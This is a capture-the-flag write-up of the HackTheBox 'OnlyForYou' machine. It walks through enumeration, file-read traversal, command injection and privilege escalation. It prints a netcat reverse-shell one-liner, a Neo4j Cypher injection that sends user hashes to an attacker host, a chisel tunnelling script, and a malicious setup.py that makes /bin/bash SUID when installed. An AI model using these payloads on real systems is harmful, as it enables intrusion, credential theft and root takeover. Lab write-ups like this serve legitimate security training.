HackTheBox — OnlyForYou Writeup
OnlyForYou is a Linux machine from HackTheBox with a medium difficulty level. A number of vulnerabilities are present on the box, including Local File Inclusion, Weak Credentials, Remote Code Execution, Server Side Request Forgery (SSRF), Information Disclosure, and Weak Cryptography. I learned about these vulnerabilities and the systems that are present on this machine which I am going to discuss in details further.
Machine Info
Enumeration
Rustscan → 2 open Ports
rustscan --accessible -a machine_ip -r 1-65535 --ulimit 65535
Automatically increasing ulimit value to 65535.
Open 10.129.132.42:22
Open 10.129.132.42:80
Starting Script(s)
Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-08 12:44 EDT
Initiating Ping Scan at 12:44
Scanning 10.129.132.42 [2 ports]
Completed Ping Scan at 12:44, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:44
Completed Parallel DNS resolution of 1 host. at 12:44, 0.06s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 12:44
Scanning 10.129.132.42 [2 ports]
Discovered open port 22/tcp on 10.129.132.42
Discovered open port 80/tcp on 10.129.132.42
Completed Connect Scan at 12:44, 0.19s elapsed (2 total ports)
Nmap scan report for 10.129.132.42
Host is up, received syn-ack (0.19s latency).
Scanned at 2023-08-08 12:44:45 EDT for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
Nmap
# Nmap 7.93 scan initiated Tue Aug 8 12:45:28 2023 as: nmap -sV -A -vv -p 22,80 -oN only4you.nmap 10.129.132.42
Nmap scan report for 10.129.132.42
Host is up, received reset ttl 63 (0.22s latency).
Scanned at 2023-08-08 12:45:29 EDT for 34s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX7r34pmJ6U9KrHg0/WDdrofcOXqTr13Iix+3D5ChuYwY2fmqIBlfuDo0Cz0xLnb/jaT3ODuDtmAih6unQluWw3RAf03l/tHxXfvXlWBE3I7uDu+roHQM7+hyShn+559JweJlofiYKHjaErMp33DI22BjviMrCGabALgWALCwjqaV7Dt6ogSllj+09trFFwr2xzzrqhQVMdUdljle99R41Hzle7QTl4maonlUAdd2Ok41ACIu/N2G/iE61snOmAzYXGE8X6/7eqynhkC4AaWgV8h0CwLeCCMj4giBgOo6EvyJCBgoMp/wH/90U477WiJQZrjO9vgrh2/cjLDDowpKJDrDIcDWdh0aE42JVAWuu7IDrv0oKBLGlyznE1eZsX2u1FH8EGYXkl58GrmFbyIT83HsXjF1+rapAUtG0Zi9JskF/DPy5+1HDWJShfwhLsfqMuuyEdotL4Vzw8ZWCIQ4TVXMUwFfVkvf410tIFYEUaVk5f9pVVfYvQsCULQb+/uc=
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAz/tMC3s/5jKIZRgBD078k7/6DY8NBXEE8ytGQd9DjIIvZdSpwyOzeLABxydMR79kDrMyX+vTP0VY5132jMo5w=
| 256 445f7aa377690a77789b04e09f11db80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqatISwZi/EOVbwqfFbhx22EEv6f+8YgmQFknTvg0wr
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://only4you.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 5.0 (95%), Linux 5.4 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%), ASUS RT-N56U WAP (Linux 3.4) (92%), Linux 3.16 (92%), Linux 4.15 - 5.6 (92%), Linux 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.93%E=4%D=8/8%OT=22%CT=%CU=38263%PV=Y%DS=2%DC=T%G=N%TM=64D2714B%P=x86_64-pc-linux-gnu)
SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=Z%TS=C)
OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 8.206 days (since Mon Jul 31 07:49:23 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 396.88 ms 10.10.14.1
2 398.40 ms 10.129.132.42
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 8 12:46:03 2023 -- 1 IP address (1 host up) scanned in 35.42 seconds
Adding Target IP in our host machine
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 solaris.localdomain solaris
10.129.132.42 only4you.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter
Visiting the website on http://only4you.htb, we get the below page:
Running “dirsearch”, we get nothing useful :)
dirsearch -u http://only4you.htb/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11710
Output: /home/niraj/arsenal/web/dirsearch/reports/http_only4you.htb/__23-05-28_15-14-30.txt
Target: http://only4you.htb/
[15:14:30] Starting:
Task Completed
I also run gobuster, nikto and feroxbuster on the site, but still there is nothing much. Then I ran “ffuf” to enumerate subdomains.
ffuf -u http://only4you.htb -H "Host: FUZZ.only4you.htb" -ac -mc all -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://only4you.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.only4you.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
beta [Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 113ms]
:: Progress: [19966/19966] :: Job [1/1] :: 421 req/sec :: Duration: [0:00:48] :: Errors: 0 ::
We get a subdomain named as “beta”. Now we will add this in our /etc/hosts file and then redirect to the page.
Some enumerating we found,
When we tried to upload a image it says that we need to upload a image more than 700x700 pixels. However, it shows success when transmitting a larger image file and then refers users to /list directory.
An image at that size with a POST to /download is returned after clicking one of the buttons. When I upload a.png, /convert returns a.jpg, and vice versa, according to a comparable form.
Gain Access to the machine as www-data:
Back to beta.only4you.htb we will download the source code. The file is a zip file. We will extract it.
unzip source.zip
Archive: source.zip
creating: beta/
inflating: beta/app.py
creating: beta/static/
creating: beta/static/img/
inflating: beta/static/img/image-resize.svg
creating: beta/templates/
inflating: beta/templates/400.html
inflating: beta/templates/500.html
inflating: beta/templates/convert.html
inflating: beta/templates/index.html
inflating: beta/templates/405.html
inflating: beta/templates/list.html
inflating: beta/templates/resize.html
inflating: beta/templates/404.html
creating: beta/uploads/
creating: beta/uploads/resize/
creating: beta/uploads/list/
creating: beta/uploads/convert/
inflating: beta/tool.py
When inspecting the source code, it appears like the application is built on Flask because it contains the source code for image resizing and image conversion in the file with the name app.py. However, the more intriguing portion of the code was for downloading, where the picture name was passed as an argument to the posixpath.normpath() function.
The code above can be used to create the request (POC ), because the application performs a POST request on the /download route with the input “image.” Let’s check to see if the picture parameter has a directory traversal vulnerability.
As we pass /etc/passwd, we can read the content.
While inspecting with burp, we found another file form.py. From there we can see that,
import re
from subprocess import run, PIPE
def is_secure(email, ip):
if not re.match(r"([A-Za-z0-9]+[_])*[A-Za-z0-9]+@[A-Za-z0-9-]+([A-Za-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 0
else:
return 1
domains = []
ips = []
if "include:" in output:
dms = ".".join(re.findall(r"include:.*\.[A-Za-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ".".join(re.findall(r"include:.*\.[A-Za-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
The given code employs the Python module “run” to determine whether a domain name is legitimate when an email address is entered. Using the “dig” tool and the user’s input as the domain to be checked, it executes a system command to accomplish this. This strategy may be weak, though, as it leaves room for the introduction of harmful orders.
Now let’s find the application where the email address is requested:
Now through burp we can set our malicious code to get reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
And we get shell as www-data:
To get interactive shell we can write :
python3 -c "import pty;pty.spawn('/bin/bash')"
Well I was stuck here for several hours to get the local user account credentials. We see “john” user on the /etc/passwd. We need to find the john’s creds. However, running : netstat -antp, we get 33060, 3306, 3000,8001, 7687, 7474 ports are open.
We can use port forwarding method to host this ports in your local machine. To do that we can use chisel tool. In our kali machine,
In the target machine what we can do is to make a script to port forward all the ports. The script is given below:
#!/bin/bash
wget http://target_ip:8000/chisel -O chisel
chmod +x chisel
./chisel client 10.10.14.68:1234 R:3000:127.0.0.1:3000 &
./chisel client 10.10.14.68:1234 R:3306:127.0.0.1:3306 &
./chisel client 10.10.14.68:1234 R:8001:127.0.0.1:8001 &
./chisel client 10.10.14.68:1234 R:33060:127.0.0.1:33060 &
./chisel client 10.10.14.68:1234 R:7687:127.0.0.1:7687 &
./chisel client 10.10.14.68:1234 R:7474:127.0.0.1:7474 &
Transfer the file in the target machine and give it executable permission and run the script.
Going to port 8001 it represents a login page.
And for port 3000,
For the login page, I used the common credentials (admin:admin) for access and it was successful.
Some playing with the site, I guessed the “search” parameter is vulnerable. As we identified that the page is running on neo4j application and I googled for exploiting this application. Well, hacktrics helped me on this.
We captured the request session in burp, and pass some malicious code. Well after a long time I got the idea. We have to run a python web server on our host machine where we can get response from the machine to get some sensitive content.
Payload: (Must be in URL encoded)
search=+OR+1%3d1+WITH+1+as+a+MATCH+(f%3auser)+UNWIND+keys (f)+as+p+LOAD+CSV+FROM+'http%3a//attacker_ip/% 3f'+%2b+p+%2b'%3d%2btoString(f[p])+as+1+RETURN+0+as+_0+/ /
And in our kali machine we get the response:
10.129.132.42 - - [08/Aug/2023 12:15:02] "GET /?admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.132.42 - - [08/Aug/2023 12:15:02] "GET /?john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
Looks like passwords are in hash format. We can crack this hash from crackstation. For both of the user we get following creds,
admin : admin
john : ThisIs4You
We can SSH with “john” user, and boom! we get our user flag.
$ ssh john@only4you.htb
The authenticity of host '10.129.132.42 (10.129.132.42)' can't be established.
ED25519 key fingerprint is SHA256:U8eFq/5B0v+ZYi75z7P7z+tVF+SfX4vocJo2UsHEsxM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.132.42' (ED25519) to the list of known hosts.
john@only4you.htb's password:
john@only4you:~$
john@only4you:~$ cat user.txt
19b6ec********************43009c
Privilege Escalation
While I am doing enumeration for post exploitation I will always use the sudo -l command first, so running “sudo-l” give us the following:
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Now that we are aware of our intended port number, 3000, we may connect to it through a tunnel established by a previous Chisel connection.
As we go through the various options for increasing access rights, we discover that pip3 allows us to download any Google resource without a password. However, We will eventually locate an article that explains how to download a resource that contains malicious code in order to run arbitrary code. link to a source is here
I downloaded the repository and made some minor setup.py file modifications to give bash SUID rights. Also the python code I use here is given below:
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
os.system("chmod u+s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
Then in our machine, we can build the repo just like below:
$ python3 -m build
* Creating venv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
running egg_info
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
* Building sdist...
running sdist
running egg_info
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
running check
creating this_is_fine_wuzzi-0.0.1
creating this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
copying files to this_is_fine_wuzzi-0.0.1...
copying LICENSE -> this_is_fine_wuzzi-0.0.1
copying README.md -> this_is_fine_wuzzi-0.0.1
copying setup.py -> this_is_fine_wuzzi-0.0.1
copying this_is_fine_wuzzi.egg-info/PKG-INFO -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
copying this_is_fine_wuzzi.egg-info/SOURCES.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
copying this_is_fine_wuzzi.egg-info/dependency_links.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
copying this_is_fine_wuzzi.egg-info/top_level.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
Writing this_is_fine_wuzzi-0.0.1/setup.cfg
Creating tar archive
removing 'this_is_fine_wuzzi-0.0.1' (and everything under it)
* Building wheel from sdist
* Creating venv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for wheel...
running egg_info
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
* Installing packages in isolated environment... (wheel)
* Building wheel...
running bdist_wheel
running build
installing to build/bdist.linux-x86_64/wheel
running install
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
running install_egg_info
running egg_info
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
Copying this_is_fine_wuzzi.egg-info to build/bdist.linux-x86_64/wheel/this_is_fine_wuzzi-0.0.1-py3.10.egg-info
running install_scripts
creating build/bdist.linux-x86_64/wheel/this_is_fine_wuzzi-0.0.1.dist-info/WHEEL
creating '/home/mrx/Documentos/HTB/OnlyForYou/content/this_is_fine_wuzzi/dist/.tmp-mm4f6bel/this_is_fine_wuzzi-0.0.1-py3-none-any.whl' and adding 'build/bdist.linux-x86_64/wheel' to it
adding 'this_is_fine_wuzzi-0.0.1.dist-info/LICENSE'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/METADATA'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/WHEEL'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/top_level.txt'
adding 'this_is_fine_wuzzi-0.0.1.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built this_is_fine_wuzzi-0.0.1.tar.gz and this_is_fine_wuzzi-0.0.1-py3-none-any.whl
We will redirect to port 3000 and login with john user with the creds we got before and there we will create a repo with “this_is_fine_wuzzi-0.0.1.tar.gz” named (you can name it wither name as your choice).
Then we will download it in our target machine, we had set our malicious code into tar file before and however we can follow the below step and boom! we got root access. We can then read the root flag.
Conclusion
Well thank you 0xM4hm0ud for creating a box like this , I learned a lot about everything from enumeration to roots. The app.py file presented the biggest challenge because I needed to comprehend every line of code in addition to the overall notion. In addition, while rooted the box, I became frustrated since the port 3000 page was unreliable and had numerous issues when uploading the tar file. As a result, I had to reset the box and repeat the process. I was able to root the box after a few tries. Overall, the activity was enjoyable and the learning opportunities were interesting.